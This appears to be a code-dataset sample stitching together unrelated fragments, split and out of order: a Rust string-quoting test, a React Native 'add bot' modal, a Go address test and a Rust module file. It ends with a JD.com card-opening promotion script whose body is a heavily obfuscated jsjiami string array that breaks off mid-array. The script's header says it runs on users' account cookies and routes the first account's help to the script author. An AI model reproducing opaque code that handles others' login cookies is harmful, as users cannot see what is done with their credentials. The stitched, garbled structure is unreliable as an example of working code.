(r"萌萌哒(๑•ᴗ•๑)😊", r"'萌萌哒(๑•ᴗ•๑)😊'"),
(r"㍿㌍㍑㌫", r"'㍿㌍㍑㌫'"),
(str::from_utf8(&[26, 0]).unwrap(), r"'\Z\0'"),
];
for (input, expect) in cases {
let input = Bytes::from(input);
let expect_vec = Bytes::from(expect);
let got = quote(Some(&input)).unwrap();
assert_eq!(got, Some(expect_vec))
}
// check for null
let got = quote(None).unwrap();
assert_eq!(got, Some(Bytes::from("NULL")))
}
}
| ||
AddBot.tsx | import React, { useEffect } from 'react'
import { View, TouchableOpacity, StyleSheet } from 'react-native'
import { Text, Icon } from '@ui-kitten/components'
import { Buffer } from 'buffer'
import { useStyles } from '@berty/contexts/styles'
import messengerMethodsHooks from '@berty/store/methods'
import { useThemeColor } from '@berty/store'
import { BlurView } from '@react-native-community/blur'
import Avatar from '@berty/assets/logo/buck_berty_icon_card.svg'
import { base64ToURLBase64 } from '@berty/components/utils'
import { useSelector } from 'react-redux'
import {
PersistentOptionsKeys,
selectPersistentOptions,
setPersistentOption,
} from '@berty/redux/reducers/persistentOptions.reducer'
import { useAppDispatch, useStylesDefaultModal } from '@berty/hooks'
import { UnifiedText } from '@berty/components/shared-components/UnifiedText'
import { useAppDimensions } from '@berty/contexts/app-dimensions.context'
const AddBotBody: React.FC<{
displayName: string
link: string
closeModal: () => void
}> = ({ displayName, link, closeModal }) => {
const { row, text, margin, padding, border, opacity } = useStyles()
const { scaleHeight } = useAppDimensions()
const colors = useThemeColor()
const _styles = useStylesDefaultModal()
const persistentOptions = useSelector(selectPersistentOptions)
const dispatch = useAppDispatch()
const { call: requestContact, done, error } = messengerMethodsHooks.useContactRequest()
const {
reply: pdlReply,
error: pdlError,
call,
done: pdlDone,
} = messengerMethodsHooks.useParseDeepLink()
useEffect(() => {
call({ link })
}, [call, link])
useEffect(() => {
if (done && !error) {
closeModal()
}
}, [done, error, closeModal])
return pdlReply?.link?.bertyId?.accountPk ? (
<View
style={[ | height: 250 * scaleHeight,
top: '25%',
},
margin.big,
]}
>
<View
style={[
{
width: 110 * scaleHeight,
height: 110 * scaleHeight,
backgroundColor: colors['main-background'],
justifyContent: 'center',
alignItems: 'center',
position: 'relative',
top: 50 * scaleHeight,
zIndex: 1,
elevation: 7,
shadowOpacity: 0.1,
shadowRadius: 5,
shadowColor: colors.shadow,
shadowOffset: { width: 0, height: 3 },
},
border.radius.scale(60),
]}
>
<Avatar width={125 * scaleHeight} height={125 * scaleHeight} />
</View>
<View
style={[
padding.horizontal.medium,
padding.bottom.medium,
border.radius.large,
border.shadow.huge,
{ backgroundColor: colors['main-background'], shadowColor: colors.shadow },
]}
>
<View style={[margin.top.scale(70 * scaleHeight)]}>
<Icon
name='info-outline'
fill={colors['background-header']}
width={60 * scaleHeight}
height={60 * scaleHeight}
style={[row.item.justify, padding.top.large]}
/>
<UnifiedText style={[text.align.center, padding.top.small, text.size.large, text.bold]}>
{`👋 ADD ${displayName}?`}
</UnifiedText>
<Text style={[text.align.center, padding.top.scale(20), padding.horizontal.medium]}>
<UnifiedText style={[text.light]}>
You don't have any contacts yet would you like to add the
</UnifiedText>
<UnifiedText style={[text.bold]}>{` ${displayName} `}</UnifiedText>
<UnifiedText style={[text.light]}>to discover and test conversations?</UnifiedText>
</Text>
</View>
<View style={[row.center, padding.top.medium]}>
<TouchableOpacity
style={[
margin.bottom.medium,
opacity(0.5),
_styles.skipButton,
{ flexDirection: 'row', justifyContent: 'center' },
]}
onPress={() => {
dispatch(
setPersistentOption({
type: PersistentOptionsKeys.Suggestions,
payload: {
...persistentOptions.suggestions,
[displayName]: {
...persistentOptions.suggestions[displayName],
state: 'skipped',
},
},
}),
)
closeModal()
}}
>
<Icon
name='close'
width={30}
height={30}
fill={colors['negative-asset']}
style={row.item.justify}
/>
<UnifiedText
style={[
padding.left.small,
row.item.justify,
text.size.scale(16),
text.bold,
{ color: colors['negative-asset'] },
]}
>
SKIP
</UnifiedText>
</TouchableOpacity>
<TouchableOpacity
style={[
margin.bottom.medium,
_styles.addButton,
{
flexDirection: 'row',
justifyContent: 'center',
backgroundColor: colors['positive-asset'],
},
]}
onPress={() => {
if (pdlDone && !pdlError && pdlReply.link?.bertyId?.accountPk) {
dispatch(
setPersistentOption({
type: PersistentOptionsKeys.Suggestions,
payload: {
...persistentOptions.suggestions,
[displayName]: {
...persistentOptions.suggestions[displayName],
state: 'added',
pk: base64ToURLBase64(
Buffer.from(pdlReply.link.bertyId.accountPk).toString('base64'),
),
},
},
}),
)
requestContact({
link,
})
}
}}
>
<Icon
name='checkmark-outline'
width={30}
height={30}
fill={colors['background-header']}
style={row.item.justify}
/>
<UnifiedText
style={[
padding.left.small,
row.item.justify,
text.size.scale(16),
text.bold,
{ color: colors['background-header'] },
]}
>
ADD !
</UnifiedText>
</TouchableOpacity>
</View>
</View>
</View>
) : null
}
export const AddBot: React.FC<{ displayName: string; link: string; closeModal: () => void }> = ({
link,
displayName,
closeModal,
}) => {
const { windowHeight } = useAppDimensions()
return (
<View style={[StyleSheet.absoluteFill, { elevation: 6, zIndex: 6 }]}>
<TouchableOpacity
activeOpacity={0}
style={[
StyleSheet.absoluteFill,
{
position: 'absolute',
top: 0,
bottom: 0,
left: 0,
right: 0,
height: windowHeight,
},
]}
onPress={() => closeModal()}
>
<BlurView style={[StyleSheet.absoluteFill]} blurType='light' />
</TouchableOpacity>
<AddBotBody displayName={displayName} link={link} closeModal={closeModal} />
</View>
)
} | {
justifyContent: 'center',
alignItems: 'center', |
ipaddr_test.go | package main
import (
"testing"
cv "github.com/glycerine/goconvey/convey"
)
// cfgenv.go related test
//
func TestStripNanoAddr(t *testing.T) | {
cv.Convey("StripNanomsgAddressPrefix should omit the 'tcp://' stuff", t, func() {
strip, err := StripNanomsgAddressPrefix("tcp://a.b.c.d:9090")
cv.So(strip, cv.ShouldEqual, "a.b.c.d:9090")
cv.So(err, cv.ShouldEqual, nil)
})
} |
|
mod.rs | extern crate mach;
mod camera;
mod instance;
mod primitives;
#[path="../../support/simulation.rs"]
mod simulation;
mod polygon_model;
mod frame_metadata;
mod examples_window;
mod examples_runner;
mod examples_renderer;
mod window_event_handler;
pub mod polygons;
pub use self::camera::Camera;
pub use self::instance::{Instance, InstanceFactory};
pub use self::primitives::{Normal, Vertex};
pub use self::simulation::Simulation;
pub use self::polygon_model::PolygonModel;
pub use self::frame_metadata::FrameMetadata;
pub use self::examples_window::ExamplesWindow;
pub use self::examples_runner::ExamplesRunner;
pub use self::examples_renderer::ExamplesRenderer;
pub use self::window_event_handler::{EventResponse, WindowEventHandler};
pub struct | <'a> {
camera: &'a Camera,
}
pub type ExampleWorld = mach::World<mach::MachBody<()>>;
| SceneEnv |
gua_opencard182.js | /* eslint-disable */
/*
6.10~6.20 心尖好物 618拔草时刻 [gua_opencard182.js] | 新增开卡脚本
一次性脚本
1.邀请一人20豆
2.开8张卡 成功开1张 获得10豆
3.加购5京豆
(默认不加购 如需加购请设置环境变量[guaopencard_addSku182]为"true"
第一个账号助力作者 其他依次助力CK1
第一个CK失效会退出脚本
默认脚本不执行
如需执行脚本请设置环境变量
guaopencard182="true"
每个账号之间延迟 100=延迟100秒 0=延迟0秒会使用每3个账号延迟60秒
guaopenwait_All 所有
guaopenwait182="0"
All变量适用
————————————————
入口:[ 6.10~6.20 心尖好物 618拔草时刻 (https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity?activityId=dzlhkke163a6e9a2514a0ca481942d)]
请求太频繁会被黑ip
过10分钟再执行
cron:
============Quantumultx===============
[task_local]
#6.10~6.20 心尖好物 618拔草时刻
https://raw.githubusercontent.com/11111120/scripts/master/gua_opencard182.js, tag=6.10~6.20 心尖好物 618拔草时刻, enabled=true
*/
let guaopencard_addSku = 'false' // 加购
let guaopencard = 'false' // 执行
let guaopenwait = 0 // 等待(秒)
let guaopencard_draw = 0 // 抽奖次数
const $ = new Env('6.10~6.20 心尖好物 618拔草时刻')
var _0xodo='jsjiami.com.v6',_0xodo_=['_0xodo'],_0x16fa=[_0xodo,'\x45\x51\x39\x6e\x77\x37\x35\x58','\x77\x35\x50\x43\x67\x45\x42\x66\x77\x72\x73\x3d','\x5a\x73\x4b\x70\x77\x70\x72\x43\x75\x4d\x4f\x55','\x45\x67\x6f\x68\x48\x41\x3d\x3d','\x77\x6f\x6b\x52\x77\x37\x74\x37\x42\x77\x3d\x3d','\x77\x35\x6b\x52\x77\x35\x37\x44\x67\x6a\x45\x3d','\x77\x72\x54\x44\x68\x41\x51\x6c\x50\x51\x3d\x3d','\x63\x38\x4f\x4c\x53\x42\x7a\x43\x71\x77\x3d\x3d','\x59\x38\x4b\x72\x44\x63\x4b\x41\x4a\x73\x4b\x6a','\x77\x71\x64\x73\x4e\x73\x4f\x39\x47\x77\x3d\x3d','\x77\x6f\x6c\x7a\x46\x63\x4f\x6b\x4b\x51\x3d\x3d','\x42\x73\x4b\x69\x64\x45\x62\x44\x67\x77\x3d\x3d','\x64\x63\x4f\x48\x77\x35\x58\x43\x74\x4d\x4f\x6b','\x77\x72\x51\x48\x77\x37\x49\x3d','\x77\x6f\x48\x44\x75\x57\x51\x55','\x58\x73\x4f\x4d\x77\x37\x6e\x43\x6a\x38\x4f\x5a\x44\x51\x49\x3d','\x45\x57\x78\x31\x77\x72\x46\x72','\x77\x6f\x48\x43\x6c\x45\x63\x53\x77\x35\x6e\x44\x74\x51\x3d\x3d','\x77\x34\x66\x43\x6e\x33\x35\x6e\x77\x6f\x4d\x3d','\x77\x71\x6c\x75\x45\x44\x37\x43\x6f\x67\x3d\x3d','\x49\x63\x4b\x51\x77\x72\x48\x44\x67\x38\x4b\x49','\x77\x34\x58\x44\x6c\x48\x58\x43\x75\x41\x3d\x3d','\x64\x4d\x4b\x59\x47\x4d\x4b\x42\x45\x51\x3d\x3d','\x77\x71\x54\x43\x74\x4d\x4b\x49\x64\x73\x4f\x4f','\x77\x70\x7a\x44\x72\x47\x67\x46\x58\x38\x4b\x31','\x4a\x38\x4b\x59\x48\x51\x3d\x3d','\x77\x6f\x7a\x43\x69\x79\x45\x3d','\x42\x69\x76\x43\x70\x79\x6f\x6d','\x77\x72\x55\x62\x77\x37\x49\x3d','\x77\x71\x72\x43\x6f\x4d\x4f\x50\x4f\x63\x4b\x73\x77\x72\x66\x44\x68\x30\x68\x42\x77\x70\x77\x75\x77\x70\x38\x3d','\x4a\x73\x4b\x45\x48\x51\x3d\x3d','\x77\x6f\x76\x43\x6f\x4d\x4f\x57\x44\x38\x4b\x51','\x4b\x41\x52\x74\x77\x35\x56\x33\x54\x79\x6f\x3d','\x65\x68\x45\x77\x77\x71\x7a\x43\x70\x58\x7a\x43\x6b\x67\x3d\x3d','\x43\x47\x33\x43\x6b\x63\x4f\x6c\x49\x38\x4b\x55\x58\x6d\x6f\x69\x64\x63\x4b\x66\x77\x71\x41\x3d','\x52\x4d\x4f\x74\x64\x51\x3d\x3d','\x62\x4d\x4b\x57\x77\x6f\x48\x43\x6e\x4d\x4f\x68\x52\x38\x4b\x75\x77\x34\x31\x79\x43\x43\x6f\x3d','\x77\x35\x50\x43\x72\x48\x64\x74\x77\x70\x73\x3d','\x47\x38\x4b\x58\x77\x70\x45\x3d','\x64\x58\x46\x6f\x77\x36\x77\x6b','\x58\x31\x6c\x51\x77\x6f\x4d\x47','\x77\x36\x41\x6b\x56\x44\x6f\x66','\x77\x6f\x77\x56\x77\x37\x6c\x55\x43\x67\x3d\x3d','\x42\x4d\x4b\x51\x77\x72\x48\x44\x72\x38\x4b\x6a','\x41\x48\x35\x4b\x77\x72\x78\x6e','\x77\x72\x39\x6a\x46\x63\x4f\x53\x46\x63\x4f\x4e','\x48\x51\x33\x43\x75\x38\x4b\x72\x77\x34\x77\x3d','\x77\x71\x7a\x43\x75\x73\x4f\x63\x4a\x4d\x4b\x66\x77\x6f\x34\x3d','\x64\x42\x49\x72\x77\x6f\x58\x43\x75\x77\x3d\x3d','\x46\x52\x6a\x43\x6b\x79\x55\x4f\x50\x41\x3d\x3d','\x77\x36\x4d\x33\x41\x51\x3d\x3d','\x35\x62\x61\x6d\x35\x61\x32\x45\x35\x6f\x69\x6e\x35\x59\x71\x73\x36\x4c\x61\x36','\x77\x35\x68\x6f\x77\x72\x4e\x69\x77\x37\x55\x3d','\x77\x34\x49\x4c\x77\x35\x7a\x44\x70\x53\x7a\x43\x72\x38\x4b\x53\x77\x35\x37\x44\x6d\x38\x4b\x6d\x77\x70\x48\x43\x69\x38\x4b\x46\x77\x70\x72\x44\x73\x38\x4b\x45\x77\x34\x35\x48\x77\x37\x58\x44\x72\x79\x50\x43\x68\x56\x46\x56\x57\x6c\x6f\x66\x4a\x4d\x4b\x77\x77\x37\x46\x4e\x4c\x33\x38\x3d','\x77\x6f\x72\x43\x72\x38\x4b\x38\x77\x70\x2f\x43\x69\x4d\x4f\x54\x77\x71\x68\x4b\x49\x38\x4b\x67\x58\x55\x50\x43\x73\x63\x4f\x4f','\x51\x73\x4b\x36\x43\x73\x4b\x52\x49\x63\x4b\x31\x54\x41\x3d\x3d','\x4c\x6e\x44\x43\x6a\x4d\x4f\x68\x4f\x4d\x4b\x38','\x77\x36\x6a\x43\x76\x32\x5a\x63\x77\x70\x44\x43\x68\x45\x6e\x44\x69\x38\x4b\x4a\x54\x45\x44\x44\x70\x77\x3d\x3d','\x47\x32\x6e\x43\x71\x63\x4f\x4f\x41\x77\x3d\x3d','\x77\x37\x4e\x6a\x77\x36\x6c\x6a\x77\x35\x51\x3d','\x62\x73\x4f\x4d\x77\x34\x6e\x44\x6c\x7a\x30\x3d','\x77\x6f\x76\x43\x73\x53\x54\x44\x70\x52\x51\x3d','\x53\x67\x58\x44\x6a\x42\x4c\x44\x74\x51\x3d\x3d','\x77\x6f\x6e\x44\x6d\x57\x6f\x7a\x54\x51\x3d\x3d','\x59\x63\x4f\x70\x77\x36\x56\x71\x49\x41\x3d\x3d','\x77\x72\x41\x61\x77\x37\x46\x51\x4a\x38\x4f\x44\x77\x72\x67\x3d','\x53\x4d\x4f\x58\x77\x37\x58\x43\x6e\x4d\x4f\x33','\x64\x4d\x4b\x30\x48\x73\x4b\x59\x45\x51\x3d\x3d','\x46\x44\x42\x72\x77\x35\x39\x41','\x4d\x46\x78\x61\x77\x70\x5a\x65','\x77\x34\x67\x5a\x77\x34\x44\x44\x69\x67\x67\x3d','\x44\x77\x33\x43\x69\x54\x45\x53\x61\x79\x59\x42\x77\x35\x73\x6d\x77\x71\x48\x43\x6e\x58\x50\x43\x6d\x63\x4b\x6a\x55\x43\x68\x64\x4e\x6e\x6b\x69\x77\x71\x55\x6c\x77\x36\x6a\x43\x73\x47\x4e\x46\x4e\x69\x4e\x2f\x77\x37\x2f\x43\x70\x4d\x4b\x48\x77\x71\x37\x44\x6d\x63\x4b\x4c\x77\x36\x37\x43\x74\x63\x4b\x5a\x77\x34\x55\x64\x43\x63\x4f\x4c\x77\x36\x48\x44\x76\x4d\x4f\x39\x44\x41\x72\x44\x6c\x73\x4b\x63\x49\x4d\x4b\x57\x77\x35\x6e\x43\x75\x63\x4f\x45\x77\x37\x50\x44\x6d\x6d\x44\x44\x6f\x63\x4f\x69\x77\x70\x74\x6d\x77\x71\x39\x56\x57\x73\x4f\x32\x77\x36\x59\x34\x77\x37\x48\x43\x70\x38\x4f\x73\x52\x46\x76\x43\x72\x38\x4f\x44\x58\x38\x4f\x48\x54\x77\x3d\x3d','\x77\x35\x33\x43\x75\x73\x4b\x4c\x52\x44\x7a\x44\x6e\x69\x6e\x43\x76\x4d\x4f\x47','\x57\x38\x4f\x66\x49\x63\x4b\x4e\x57\x67\x3d\x3d','\x4d\x6b\x46\x73\x77\x71\x46\x43','\x48\x43\x76\x43\x72\x51\x3d\x3d','\x45\x30\x4a\x55\x77\x70\x39\x66','\x77\x72\x63\x62\x77\x37\x35\x43\x46\x67\x3d\x3d','\x77\x6f\x76\x43\x6b\x43\x41\x3d','\x35\x6f\x43\x6d\x35\x5a\x57\x72\x35\x6f\x4f\x53\x35\x4c\x6d\x64\x35\x61\x61\x72\x35\x59\x32\x2b\x35\x59\x6d\x77\x35\x59\x6d\x54\x35\x6f\x69\x4e\x35\x59\x71\x79\x37\x37\x79\x33','\x77\x70\x7a\x43\x76\x4d\x4f\x36\x77\x71\x6e\x44\x67\x51\x6a\x44\x75\x73\x4b\x6a\x61\x41\x50\x44\x73\x77\x3d\x3d','\x77\x35\x58\x43\x71\x56\x41\x49\x46\x52\x4c\x43\x73\x4d\x4b\x55\x57\x63\x4b\x64\x77\x72\x48\x44\x6f\x51\x3d\x3d','\x77\x71\x6a\x43\x67\x4d\x4b\x49\x77\x71\x37\x43\x73\x41\x3d\x3d','\x35\x71\x36\x5a\x77\x71\x62\x44\x75\x65\x57\x30\x73\x75\x69\x67\x6d\x65\x6d\x59\x72\x4f\x57\x4b\x6a\x2b\x2b\x2f\x67\x4f\x69\x76\x71\x75\x69\x2b\x71\x73\x4b\x32\x4e\x65\x57\x4a\x6a\x75\x6d\x54\x6f\x65\x57\x52\x6b\x2b\x57\x46\x6d\x65\x61\x4b\x67\x4f\x69\x6a\x6a\x2b\x69\x46\x75\x2b\x61\x65\x67\x38\x4f\x72','\x65\x4d\x4f\x46\x49\x73\x4b\x30\x63\x41\x3d\x3d','\x35\x72\x57\x77\x35\x59\x6d\x66\x35\x62\x61\x49\x35\x37\x71\x30\x35\x70\x36\x4a','\x36\x49\x32\x46\x35\x59\x79\x32\x52\x51\x6e\x44\x67\x38\x4f\x74\x77\x37\x59\x6a\x35\x61\x57\x6f\x36\x4c\x61\x37','\x77\x35\x66\x44\x76\x6d\x58\x43\x76\x7a\x63\x3d','\x77\x72\x4a\x42\x46\x73\x4f\x63\x41\x41\x3d\x3d','\x77\x34\x58\x44\x68\x47\x4c\x43\x69\x44\x4d\x3d','\x56\x63\x4f\x74\x65\x63\x4f\x4d\x46\x41\x3d\x3d','\x77\x70\x50\x43\x67\x31\x49\x50\x77\x35\x72\x44\x72\x38\x4f\x72\x50\x78\x44\x44\x75\x67\x3d\x3d','\x63\x73\x4b\x37\x58\x32\x33\x44\x70\x63\x4f\x75\x47\x6a\x58\x43\x6a\x77\x48\x44\x6a\x77\x3d\x3d','\x77\x35\x46\x67\x77\x35\x6b\x3d','\x4e\x33\x6e\x43\x73\x4d\x4f\x53\x4a\x41\x3d\x3d','\x77\x71\x4c\x44\x6a\x73\x4b\x4c\x77\x36\x54\x44\x6c\x77\x38\x4c\x66\x4d\x4b\x70\x77\x36\x63\x3d','\x57\x73\x4f\x7a\x77\x36\x4a\x75\x44\x67\x3d\x3d','\x77\x37\x77\x73\x42\x38\x4b\x66\x77\x34\x38\x4c\x77\x71\x74\x38\x43\x6c\x30\x3d','\x65\x63\x4f\x4f\x62\x63\x4f\x4b\x46\x77\x3d\x3d','\x77\x37\x6e\x44\x73\x30\x44\x43\x72\x67\x4d\x3d','\x41\x73\x4b\x76\x65\x6d\x62\x44\x6d\x41\x3d\x3d','\x41\x78\x45\x2b\x47\x67\x64\x54\x77\x34\x55\x3d','\x77\x71\x76\x44\x6e\x73\x4b\x36\x77\x35\x37\x44\x6c\x77\x3d\x3d','\x55\x77\x33\x44\x6e\x38\x4f\x46\x77\x34\x6b\x3d','\x59\x38\x4f\x78\x77\x37\x77\x3d','\x59\x4d\x4f\x72\x77\x36\x2f\x44\x6c\x41\x45\x49\x65\x77\x3d\x3d','\x77\x37\x73\x33\x4e\x63\x4b\x66\x77\x34\x67\x3d','\x77\x34\x30\x61\x77\x34\x48\x44\x72\x41\x3d\x3d','\x54\x58\x7a\x43\x6a\x4d\x4f\x6c\x4f\x73\x4b\x77\x58\x6a\x6b\x51\x52\x4d\x4b\x78\x36\x4b\x79\x79\x35\x72\x47\x56\x35\x61\x57\x68\x36\x4c\x65\x33\x37\x37\x79\x70\x36\x4b\x32\x44\x35\x71\x4f\x42\x35\x70\x2b\x2f\x35\x37\x79\x61\x36\x4c\x61\x59\x36\x59\x65\x65\x36\x4b\x79\x52','\x61\x38\x4f\x57\x77\x37\x54\x44\x6f\x77\x73\x3d','\x4a\x78\x7a\x43\x69\x63\x4f\x4d\x59\x77\x3d\x3d','\x77\x36\x37\x43\x75\x55\x77\x34\x4a\x77\x3d\x3d','\x4b\x6b\x62\x44\x75\x45\x67\x70','\x66\x78\x38\x77\x77\x6f\x6e\x43\x6f\x51\x3d\x3d','\x62\x73\x4f\x39\x77\x36\x2f\x44\x75\x78\x73\x41\x61\x4d\x4b\x33\x42\x56\x49\x48','\x46\x54\x50\x43\x6c\x73\x4b\x34\x77\x37\x6f\x3d','\x54\x73\x4f\x44\x55\x4d\x4f\x4a\x4d\x51\x3d\x3d','\x49\x43\x33\x43\x70\x4d\x4b\x4e\x77\x36\x72\x44\x6a\x77\x3d\x3d','\x50\x56\x6a\x43\x71\x38\x4f\x67\x50\x51\x3d\x3d','\x41\x6c\x7a\x43\x69\x63\x4f\x69\x48\x41\x3d\x3d','\x77\x34\x62\x43\x74\x38\x4b\x4c\x55\x6a\x7a\x44\x75\x53\x38\x3d','\x48\x6e\x72\x43\x6c\x38\x4b\x6e\x4d\x73\x4b\x32\x56\x48\x49\x34\x63\x51\x3d\x3d','\x77\x70\x2f\x43\x72\x45\x55\x56\x77\x35\x34\x3d','\x77\x71\x6a\x44\x6b\x51\x4d\x6f\x47\x69\x55\x3d','\x77\x34\x6c\x77\x77\x37\x52\x32\x77\x34\x6f\x3d','\x52\x4d\x4f\x68\x77\x37\x2f\x43\x6a\x73\x4f\x66','\x42\x38\x4b\x74\x4a\x54\x50\x43\x6d\x63\x4f\x2b\x77\x70\x7a\x43\x68\x6b\x4a\x37\x64\x38\x4b\x62\x59\x4d\x4f\x67\x62\x51\x3d\x3d','\x77\x35\x52\x47\x77\x35\x46\x6e\x77\x37\x38\x3d','\x77\x70\x6c\x75\x4d\x57\x30\x46','\x58\x63\x4f\x67\x77\x34\x68\x6b\x4a\x51\x3d\x3d','\x77\x35\x4c\x44\x6b\x6c\x62\x43\x67\x42\x73\x3d','\x77\x6f\x37\x44\x6c\x6e\x4d\x37\x52\x77\x3d\x3d','\x57\x6b\x42\x6f\x77\x34\x38\x66','\x77\x6f\x33\x43\x76\x78\x33\x44\x6c\x44\x63\x3d','\x77\x34\x34\x69\x77\x34\x76\x44\x72\x41\x51\x3d','\x77\x6f\x7a\x43\x6e\x68\x72\x44\x6a\x51\x77\x3d','\x63\x4d\x4f\x59\x77\x35\x4c\x43\x75\x38\x4f\x6a','\x5a\x41\x58\x44\x6e\x6a\x76\x44\x67\x67\x3d\x3d','\x77\x37\x37\x43\x74\x73\x4f\x59\x77\x37\x4c\x43\x73\x77\x3d\x3d','\x62\x63\x4f\x45\x66\x4d\x4f\x50\x47\x56\x4c\x44\x6d\x73\x4b\x69','\x77\x35\x6a\x43\x73\x38\x4b\x47\x51\x7a\x77\x3d','\x46\x52\x4d\x67\x45\x42\x77\x3d','\x4c\x52\x39\x37\x77\x34\x70\x43','\x77\x71\x62\x43\x76\x4d\x4f\x5a\x4d\x38\x4b\x6d\x77\x72\x58\x44\x68\x41\x3d\x3d','\x45\x6c\x50\x44\x74\x47\x77\x4c','\x50\x43\x6e\x43\x6a\x73\x4b\x70\x77\x36\x49\x3d','\x77\x71\x7a\x43\x6d\x38\x4b\x4e\x64\x38\x4f\x68\x4e\x69\x6f\x3d','\x77\x71\x50\x44\x6e\x38\x4b\x61\x77\x37\x7a\x44\x67\x78\x38\x74','\x61\x58\x78\x69\x77\x36\x41\x75','\x77\x72\x33\x44\x6c\x48\x38\x6c\x58\x51\x3d\x3d','\x43\x4d\x4f\x51\x77\x70\x64\x53\x43\x41\x3d\x3d','\x77\x35\x45\x65\x77\x35\x7a\x44\x70\x53\x54\x43\x72\x38\x4b\x57','\x4e\x69\x72\x43\x76\x6a\x59\x53','\x77\x35\x37\x43\x72\x48\x5a\x2b\x77\x70\x55\x3d','\x61\x38\x4f\x50\x59\x63\x4f\x57\x4f\x77\x3d\x3d','\x65\x67\x52\x73\x77\x34\x52\x34\x62\x7a\x37\x44\x6d\x38\x4b\x39\x77\x35\x2f\x43\x68\x63\x4f\x4d\x57\x63\x4b\x69\x77\x72\x6b\x58\x53\x4d\x4b\x49\x56\x4d\x4f\x44\x77\x71\x50\x43\x6b\x73\x4b\x43\x4f\x4d\x4f\x34\x57\x38\x4b\x65\x49\x32\x4c\x43\x6f\x4d\x4f\x69\x49\x77\x70\x48\x77\x6f\x6c\x57\x45\x55\x59\x41\x41\x79\x55\x4a\x52\x79\x6f\x62\x61\x52\x50\x43\x6f\x52\x76\x43\x6f\x53\x59\x42\x46\x63\x4b\x32\x49\x56\x37\x44\x71\x4d\x4b\x4d\x66\x63\x4f\x39\x77\x6f\x2f\x44\x6e\x73\x4b\x47\x41\x73\x4b\x31\x77\x70\x76\x44\x76\x79\x6f\x69\x46\x63\x4f\x32\x77\x72\x41\x2b\x77\x70\x2f\x44\x6a\x4d\x4f\x73\x77\x70\x33\x44\x75\x53\x73\x52\x77\x71\x4d\x42\x77\x72\x62\x44\x68\x53\x37\x43\x6d\x4d\x4f\x75\x77\x71\x6a\x44\x6c\x41\x35\x41\x46\x77\x45\x5a\x66\x58\x5a\x65\x77\x35\x6a\x43\x6a\x73\x4f\x75\x77\x35\x66\x44\x76\x30\x44\x43\x71\x73\x4b\x58\x4d\x43\x72\x44\x76\x7a\x62\x44\x75\x53\x33\x43\x74\x56\x58\x43\x67\x73\x4f\x39\x77\x70\x6e\x44\x76\x4d\x4b\x68\x65\x38\x4f\x39\x77\x37\x44\x43\x69\x32\x77\x44\x57\x45\x4e\x55\x58\x6e\x54\x44\x6b\x73\x4b\x4d\x77\x35\x48\x44\x76\x63\x4b\x61\x54\x4d\x4b\x64\x55\x4d\x4b\x54\x77\x34\x38\x54\x4a\x63\x4b\x36\x52\x4d\x4b\x71\x45\x52\x54\x43\x73\x73\x4f\x53\x57\x6a\x62\x43\x71\x45\x63\x68\x56\x63\x4f\x4d\x77\x70\x37\x44\x72\x46\x73\x50\x41\x68\x48\x43\x6c\x73\x4f\x63\x77\x35\x48\x43\x67\x73\x4f\x74\x46\x6c\x6c\x59\x77\x6f\x6a\x43\x76\x67\x64\x50\x41\x38\x4b\x33\x4c\x42\x59\x57\x77\x35\x62\x43\x6c\x4d\x4f\x6f\x56\x6e\x67\x67\x54\x38\x4b\x59\x77\x71\x54\x43\x69\x73\x4b\x53\x77\x35\x5a\x39\x5a\x55\x72\x44\x6b\x38\x4f\x6a\x77\x6f\x2f\x43\x6f\x63\x4f\x48\x65\x41\x30\x6c\x42\x32\x54\x43\x6e\x77\x42\x42\x77\x6f\x37\x43\x6f\x73\x4f\x71\x77\x71\x49\x78\x54\x4d\x4f\x49\x77\x36\x49\x3d','\x53\x73\x4f\x45\x77\x36\x52\x6d\x4a\x44\x44\x44\x6e\x73\x4b\x48\x50\x73\x4f\x2f\x5a\x38\x4b\x37\x77\x70\x55\x49\x77\x6f\x42\x38','\x77\x6f\x74\x77\x4b\x73\x4f\x46\x4c\x41\x3d\x3d','\x51\x68\x76\x44\x6a\x73\x4f\x47\x77\x34\x6b\x3d','\x66\x4d\x4b\x36\x41\x73\x4b\x54\x4a\x38\x4b\x34','\x49\x7a\x37\x43\x73\x52\x63\x77','\x77\x34\x72\x43\x67\x6c\x4e\x6d\x77\x6f\x37\x43\x73\x77\x3d\x3d','\x77\x34\x6a\x43\x76\x73\x4b\x46\x57\x53\x73\x3d','\x50\x69\x50\x43\x72\x63\x4b\x73\x77\x37\x66\x44\x6b\x41\x3d\x3d','\x56\x4d\x4f\x5a\x77\x36\x54\x43\x6c\x38\x4f\x65\x42\x41\x3d\x3d','\x77\x6f\x48\x43\x71\x54\x72\x44\x6e\x44\x67\x3d','\x77\x70\x6e\x43\x6f\x38\x4f\x64\x77\x6f\x72\x44\x74\x67\x3d\x3d','\x77\x72\x54\x43\x6d\x4d\x4b\x37\x56\x4d\x4f\x38','\x77\x70\x33\x43\x6d\x67\x6e\x44\x67\x7a\x34\x3d','\x77\x70\x77\x38\x77\x37\x6c\x4e\x45\x67\x3d\x3d','\x45\x4d\x4f\x5a\x77\x70\x74\x38\x48\x77\x3d\x3d','\x77\x6f\x4c\x44\x71\x32\x34\x3d','\x59\x4d\x4f\x75\x47\x63\x4b\x4c','\x66\x55\x42\x62\x77\x70\x6f\x4d','\x77\x72\x35\x31\x48\x41\x3d\x3d','\x49\x69\x50\x43\x72\x73\x4b\x74','\x35\x71\x2b\x47\x61\x63\x4f\x75\x35\x62\x65\x7a\x36\x4b\x43\x77\x36\x5a\x6d\x52\x35\x59\x71\x33\x37\x37\x2b\x62\x36\x4b\x2b\x76\x36\x4c\x36\x4d\x77\x71\x51\x70\x35\x59\x71\x4c\x36\x5a\x47\x75\x35\x5a\x4b\x62\x35\x59\x57\x45\x35\x6f\x75\x5a\x36\x4b\x4f\x49\x36\x49\x53\x58\x35\x70\x79\x6d\x52\x51\x3d\x3d','\x48\x77\x37\x43\x72\x73\x4b\x4a\x77\x37\x63\x3d','\x45\x38\x4b\x62\x54\x55\x6e\x44\x76\x67\x3d\x3d','\x65\x43\x72\x44\x6f\x4d\x4f\x31\x77\x37\x55\x3d','\x77\x72\x78\x53\x4d\x32\x49\x32','\x77\x71\x44\x44\x72\x38\x4b\x34\x77\x34\x48\x44\x6b\x41\x3d\x3d','\x53\x73\x4f\x75\x53\x44\x2f\x43\x72\x77\x3d\x3d','\x35\x72\x65\x55\x35\x59\x69\x77\x35\x61\x53\x6a\x35\x34\x43\x61\x35\x34\x69\x73\x37\x37\x2b\x4b\x36\x4b\x2b\x43\x35\x36\x69\x6f\x35\x5a\x47\x6b